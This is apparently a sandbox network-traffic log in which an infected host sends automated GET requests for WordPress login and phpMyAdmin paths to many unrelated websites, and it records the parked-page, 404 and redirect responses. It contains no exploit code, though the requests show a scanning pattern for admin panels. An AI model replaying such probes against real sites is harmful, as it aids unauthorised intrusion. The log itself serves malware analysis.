2023-12-20 02:13:29 UTC	1369	IN	Data Raw: 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 6e 61 76 20 63 6c 61 73 73 3d 22 6e 61 76 62 61 72 20 68 51 51 51 69 64 65 41 74 39 39 31 57 69 64 74 68 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6f 76 65 72 44 72 61 77 65 72 4c 61 79 20 22 20 6f 6e 63 6c 69 63 6b 3d 22 20 24 28 20 27 23 6e 61 76 54 6f 67 67 6c 65 27 20 29 2e 63 6c 69 63 6b 28 29 3b 20 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6f 76 65 72 6c 61 79 20 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6f 76 65 72 6c 61 79 4d 65 6e 75 20 64 2d 66 6c 65 78 20 61 69 2d 63 65 6e 74 65 72 20 6a 63 2d 62 65 74 77 65 65 6e 22 3e 0a 3c 75 6c 20 63 6c 61 73 73 3d 22 6e 61 76 62 61 72 2d 6e 61 76 22 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 6e 61 76 2d 69 74 65 6d 22 3e 0a 3c 61 20 63 6c 61 73 73 Data Ascii: iv></div><nav class="navbar hQQQideAt991Width"><div class="overDrawerLay " onclick=" $( '#navToggle' ).click(); "></div><div class="overlay "><div class="overlayMenu d-flex ai-center jc-between"><ul class="navbar-nav"><li class="nav-item"><a class
2023-12-20 02:13:29 UTC	1369	IN	Data Raw: 72 69 61 2d 6c 61 62 65 6c 3d 22 53 68 6f 70 70 69 6e 67 20 43 61 72 74 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 6f 62 69 6c 65 2d 73 68 6f 77 22 3e 53 68 6f 70 70 69 6e 67 20 63 61 72 74 3c 2f 73 70 61 6e 3e 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 68 64 76 33 2d 69 6d 67 2f 63 61 72 74 2e 70 6e 67 22 20 61 6c 74 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 61 72 74 2d 6e 75 6d 62 65 72 20 68 69 64 64 65 6e 41 74 4c 6f 61 64 22 20 69 64 3d 22 68 64 76 33 43 61 72 74 4e 75 6d 62 65 72 53 70 61 6e 49 44 22 3e 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 6e 61 76 3e 0a 3c Data Ascii: ria-label="Shopping Cart"><span class="mobile-show">Shopping cart</span><img src="https://static.HugeDomains.com/images/hdv3-img/cart.png" alt><span class="cart-number hiddenAtLoad" id="hdv3CartNumberSpanID"></span></a></div></div></div></div></nav><
2023-12-20 02:13:29 UTC	1369	IN	Data Raw: 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 75 6c 61 72 4a 5f 33 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 75 6c 61 72 4a 5f 34 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 75 6c 61 72 4a 5f 35 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 75 6c 61 72 4a 5f 36 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 75 6c 61 72 4a 5f 37 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 75 6c 61 72 4a 5f 38 22 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 62 75 74 74 6f 6e 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6f 72 22 3e 6f 72 3c 2f 73 70 61 6e 3e 0a 0a 3c 61 20 68 72 65 66 3d 22 68 74 Data Ascii: </div><div class="circularJ_3"></div><div class="circularJ_4"></div><div class="circularJ_5"></div><div class="circularJ_6"></div><div class="circularJ_7"></div><div class="circularJ_8"></div></div></button><span class="or">or</span><a href="ht
2023-12-20 02:13:29 UTC	1369	IN	Data Raw: 63 6c 61 73 73 3d 22 69 6d 67 22 3e 0a 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 68 64 76 33 2d 69 6d 67 2f 33 30 64 61 79 73 6d 61 6c 6c 69 63 6f 2e 70 6e 67 22 20 61 6c 74 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 3e 33 30 2d 64 61 79 20 6d 6f 6e 65 79 20 62 61 63 6b 20 67 75 61 72 61 6e 74 65 65 3c 2f 73 70 61 6e 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 69 6d 67 22 3e 0a 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 68 64 76 33 2d 69 6d Data Ascii: class="img"><img src="https://static.HugeDomains.com/images/hdv3-img/30daysmallico.png" alt></div><div class="content"><span>30-day money back guarantee</span></div></li><li><div class="img"><img src="https://static.HugeDomains.com/images/hdv3-im
2023-12-20 02:13:29 UTC	1369	IN	Data Raw: 72 20 73 61 6c 65 3a 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 72 65 65 6e 22 3e 24 32 2c 36 39 35 3c 2f 73 70 61 6e 3e 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 61 62 6c 65 74 2d 62 6c 6f 63 6b 2d 73 22 3e 0a 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 63 65 6e 74 65 72 22 3e 42 75 79 20 6e 6f 77 20 66 6f 72 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 72 65 65 6e 22 3e 24 32 2c 36 39 35 3c 2f 73 70 61 6e 3e 20 6f 72 20 70 61 79 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 72 65 65 6e 22 3e 24 31 31 32 2e 32 39 3c 2f 73 70 61 6e 3e 20 70 65 72 20 6d 6f 6e 74 68 20 66 6f 72 20 32 34 20 6d 6f 6e 74 68 73 3c 2f 70 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 61 62 6c 65 74 2d 62 6c 6f 63 6b 2d 72 6f 77 22 3e 0a 3c 64 Data Ascii: r sale: <span class="green">$2,695</span></p></div><div class="tablet-block-s"><p class="text-center">Buy now for <span class="green">$2,695</span> or pay <span class="green">$112.29</span> per month for 24 months</p><div class="tablet-block-row"><d
2023-12-20 02:13:29 UTC	1369	IN	Data Raw: 78 3b 22 3e 6f 72 3c 2f 73 70 61 6e 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 61 62 6c 65 74 2d 62 6c 6f 63 6b 2d 72 69 67 68 74 22 3e 0a 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 70 61 79 6d 65 6e 74 2d 70 6c 61 6e 2d 73 65 74 75 70 2e 63 66 6d 3f 64 3d 55 6e 69 71 75 65 41 75 73 74 72 61 6c 69 61 6e 2e 63 6f 6d 22 20 63 6c 61 73 73 3d 22 62 74 6e 22 20 73 74 79 6c 65 3d 22 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 33 30 70 78 3b 20 77 69 64 74 68 3a 32 34 37 70 78 3b 20 6d 69 6e 2d 77 69 64 74 68 3a 32 34 37 70 78 3b 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 30 70 78 3b 20 22 20 69 64 3d 22 68 64 76 33 42 69 6c 6c 62 6f 61 72 64 31 39 37 42 75 79 54 61 62 50 50 49 Data Ascii: x;">or</span></div><div class="tablet-block-right"><a href="https://www.HugeDomains.com/payment-plan-setup.cfm?d=UniqueAustralian.com" class="btn" style="padding-right:30px; width:247px; min-width:247px; margin-top:10px; " id="hdv3Billboard197BuyTabPPI

Session ID	Source IP	Source Port	Destination IP	Destination Port
210	192.168.2.4	60096	76.223.105.230	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:29 UTC	252	OUT	GET /wp-admin/ HTTP/1.1 Host: justinsweet.com Accept: / Accept-Encoding: deflate, gzip Cookie: dps_site_id=us-east-1 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://justinsweet.com/wp-login.php
2023-12-20 02:13:29 UTC	288	IN	HTTP/1.1 404 Not Found Content-Type: text/html;charset=utf-8 Content-Length: 964 Vary: Accept-Encoding Server: DPS/2.0.0+sha-5905cfa X-Version: 5905cfa X-SiteId: us-east-1 Set-Cookie: dps_site_id=us-east-1; path=/; secure Date: Wed, 20 Dec 2023 02:13:29 GMT Connection: close
2023-12-20 02:13:29 UTC	964	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 2f 69 6d 67 31 2e 77 73 69 6d 67 2e 63 6f 6d 2f 64 70 73 2f 63 73 73 2f 75 78 63 6f Data Ascii: <!DOCTYPE html><html><head> <title>404 Not Found</title> <meta http-equiv="content-type" content="text/html; charset=utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link href="//img1.wsimg.com/dps/css/uxco

Session ID	Source IP	Source Port	Destination IP	Destination Port
211	192.168.2.4	60297	151.101.1.195	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:30 UTC	186	OUT	GET /wp-login.php HTTP/1.1 Host: www.geoffreynolds.com.au Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:30 UTC	575	IN	HTTP/1.1 200 OK Connection: close Content-Length: 4255 Cache-Control: max-age=3600 Content-Type: text/html; charset=utf-8 Etag: "027467ef33eb399e27a7057bb7d67c7bbc85ff76417b95760add2070d4049357" Last-Modified: Wed, 08 Feb 2023 04:48:40 GMT Strict-Transport-Security: max-age=31556926 Accept-Ranges: bytes Date: Wed, 20 Dec 2023 02:13:30 GMT X-Served-By: cache-gnv1820024-GNV X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1703038410.164562,VS0,VE46 Vary: x-fh-requested-host, accept-encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2023-12-20 02:13:30 UTC	1368	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 74 69 74 6c 65 3e 52 6f 6f 66 69 6e 67 20 49 6e 20 57 6f 6c 6c 6f 6e 67 6f 6e 67 20 7c 20 47 65 6f 66 66 20 52 65 79 6e 6f 6c 64 73 20 52 6f 6f 66 69 6e 67 20 50 74 79 20 4c 74 64 3c 2f 74 Data Ascii: <!doctype html><html lang="en"><head><meta charset="utf-8"/><link rel="shortcut icon" href="/favicon.ico"/><meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1"/><title>Roofing In Wollongong \| Geoff Reynolds Roofing Pty Ltd</t
2023-12-20 02:13:30 UTC	1368	IN	Data Raw: 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 52 6f 6f 66 69 6e 67 20 49 6e 20 57 6f 6c 6c 6f 6e 67 6f 6e 67 20 7c 20 47 65 6f 66 66 20 52 65 79 6e 6f 6c 64 73 20 52 6f 6f 66 69 6e 67 20 50 74 79 20 4c 74 64 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 49 66 20 79 6f 75 72 20 68 6f 6d 65 20 6e 65 65 64 73 20 72 6f 6f 66 69 6e 67 20 73 65 72 76 69 63 65 73 2c 20 63 6c 69 63 6b 20 74 68 65 20 6c 69 6e 6b 20 61 62 6f 76 65 21 20 47 65 6f 66 66 20 52 65 79 6e 6f 6c 64 73 20 52 6f 6f 66 69 6e 67 20 50 74 79 20 4c 74 64 20 69 73 20 68 65 72 65 20 74 6f 20 6f 66 66 65 72 20 33 30 20 79 65 61 72 73 20 6f 66 20 Data Ascii: ><meta name="twitter:title" content="Roofing In Wollongong \| Geoff Reynolds Roofing Pty Ltd"/><meta name="twitter:description" content="If your home needs roofing services, click the link above! Geoff Reynolds Roofing Pty Ltd is here to offer 30 years of
2023-12-20 02:13:30 UTC	1368	IN	Data Raw: 69 3d 5b 5d 3b 66 3c 6e 2e 6c 65 6e 67 74 68 3b 66 2b 2b 29 74 3d 6e 5b 66 5d 2c 70 5b 74 5d 26 26 69 2e 70 75 73 68 28 70 5b 74 5d 5b 30 5d 29 2c 70 5b 74 5d 3d 30 3b 66 6f 72 28 72 20 69 6e 20 6f 29 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 6f 2c 72 29 26 26 28 6c 5b 72 5d 3d 6f 5b 72 5d 29 3b 66 6f 72 28 73 26 26 73 28 65 29 3b 69 2e 6c 65 6e 67 74 68 3b 29 69 2e 73 68 69 66 74 28 29 28 29 3b 72 65 74 75 72 6e 20 63 2e 70 75 73 68 2e 61 70 70 6c 79 28 63 2c 75 7c 7c 5b 5d 29 2c 61 28 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 29 7b 66 6f 72 28 76 61 72 20 65 2c 72 3d 30 3b 72 3c 63 2e 6c 65 6e 67 74 68 3b 72 2b 2b 29 7b 66 6f 72 28 76 61 72 20 74 3d 63 5b 72 5d 2c 6e 3d 21 30 2c 6f 3d 31 Data Ascii: i=[];f<n.length;f++)t=n[f],p[t]&&i.push(p[t][0]),p[t]=0;for(r in o)Object.prototype.hasOwnProperty.call(o,r)&&(l[r]=o[r]);for(s&&s(e);i.length;)i.shift()();return c.push.apply(c,u\|\|[]),a()}function a(){for(var e,r=0;r<c.length;r++){for(var t=c[r],n=!0,o=1
2023-12-20 02:13:30 UTC	151	IN	Data Raw: 3b 76 61 72 20 73 3d 6e 3b 61 28 29 7d 28 5b 5d 29 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 73 74 61 74 69 63 2f 6a 73 2f 32 2e 38 34 32 37 38 31 38 37 2e 63 68 75 6e 6b 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 73 74 61 74 69 63 2f 6a 73 2f 6d 61 69 6e 2e 33 33 39 30 30 31 39 32 2e 63 68 75 6e 6b 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: ;var s=n;a()}([])</script><script src="/static/js/2.84278187.chunk.js"></script><script src="/static/js/main.33900192.chunk.js"></script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
212	192.168.2.4	60268	13.248.169.48	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:30 UTC	332	OUT	GET /PhpMyAdmin/ HTTP/1.1 Host: filmboxstudios.com Accept: / Accept-Encoding: deflate, gzip Cookie: expiry_partner=; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:30 UTC	836	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:30 GMT Content-Type: text/html Content-Length: 12976 Last-Modified: Wed, 13 Dec 2023 20:27:43 GMT Connection: close ETag: "657a13bf-32b0" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_Zg38t9GAkZsC4Z2p55/jf7Hu6rX4ogOUDWsv440f96Xr9yJ0YkPwZ9w2JzSMuYTM7tCxXd5dpviadhJX8smpvQ Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: expiry_partner=;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:30 UTC	12976	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port
213	192.168.2.4	60494	13.248.169.48	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:31 UTC	331	OUT	GET /PhpMyAdmin/ HTTP/1.1 Host: topshelfgames.com Accept: / Accept-Encoding: deflate, gzip Cookie: expiry_partner=; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:31 UTC	836	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:31 GMT Content-Type: text/html Content-Length: 12976 Last-Modified: Wed, 13 Dec 2023 20:27:43 GMT Connection: close ETag: "657a13bf-32b0" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_c1gH4cU6d0/Ccpjeuv6amV2TK72kVsO2mkHExKve7Vz/aMT57A174SnOnClUBfEJDUgAHkJuYOWBaRUnBCpInw Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: expiry_partner=;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:31 UTC	12976	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port
214	192.168.2.4	60495	151.101.1.195	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:31 UTC	181	OUT	GET /phpMyAdmin/ HTTP/1.1 Host: geoffreynolds.com.au Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:31 UTC	451	IN	HTTP/1.1 301 Moved Permanently Connection: close Content-Length: 59 Location: https://www.geoffreynolds.com.au/phpMyAdmin/ Content-Type: text/plain; charset=utf-8 Accept-Ranges: bytes Date: Wed, 20 Dec 2023 02:13:31 GMT X-Served-By: cache-gnv1820029-GNV X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1703038411.302437,VS0,VE34 Vary: x-fh-requested-host, accept-encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2023-12-20 02:13:31 UTC	59	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 65 6f 66 66 72 65 79 6e 6f 6c 64 73 2e 63 6f 6d 2e 61 75 2f 70 68 70 4d 79 41 64 6d 69 6e 2f Data Ascii: Redirecting to https://www.geoffreynolds.com.au/phpMyAdmin/

Session ID	Source IP	Source Port	Destination IP	Destination Port
215	192.168.2.4	60821	192.252.146.15	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:31 UTC	302	OUT	GET /verifyrequest.php?ip=102.129.152.212&sig=fb29434ec4ef1b1abf0c7f4a9653167d484ad9a6 HTTP/1.1 Host: cgi-sys.server294.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://twohillsstudio.com/wp-login.php
2023-12-20 02:13:31 UTC	166	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 02:13:31 GMT Server: Apache Upgrade: h2 Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html
2023-12-20 02:13:31 UTC	1293	IN	Data Raw: 35 30 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 09 3c 74 69 74 6c Data Ascii: 506<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><titl
2023-12-20 02:13:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
216	192.168.2.4	60493	3.33.130.190	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:31 UTC	332	OUT	GET /PhpMyAdmin/ HTTP/1.1 Host: lsmnutrition.com Accept: / Accept-Encoding: deflate, gzip Cookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:31 UTC	836	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:31 GMT Content-Type: text/html Content-Length: 1543 Last-Modified: Wed, 13 Dec 2023 20:27:43 GMT Connection: close ETag: "657a13bf-607" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_IFJBiePHhZ2BKCectF0jYBIAGm/GbJ8EXLDQsd6tQ5VaoDMCeFLWdyGwVYXFzbP4ZGJZXDN/LbFfd/1/tBK0Vg Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: traffic_target=gd;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
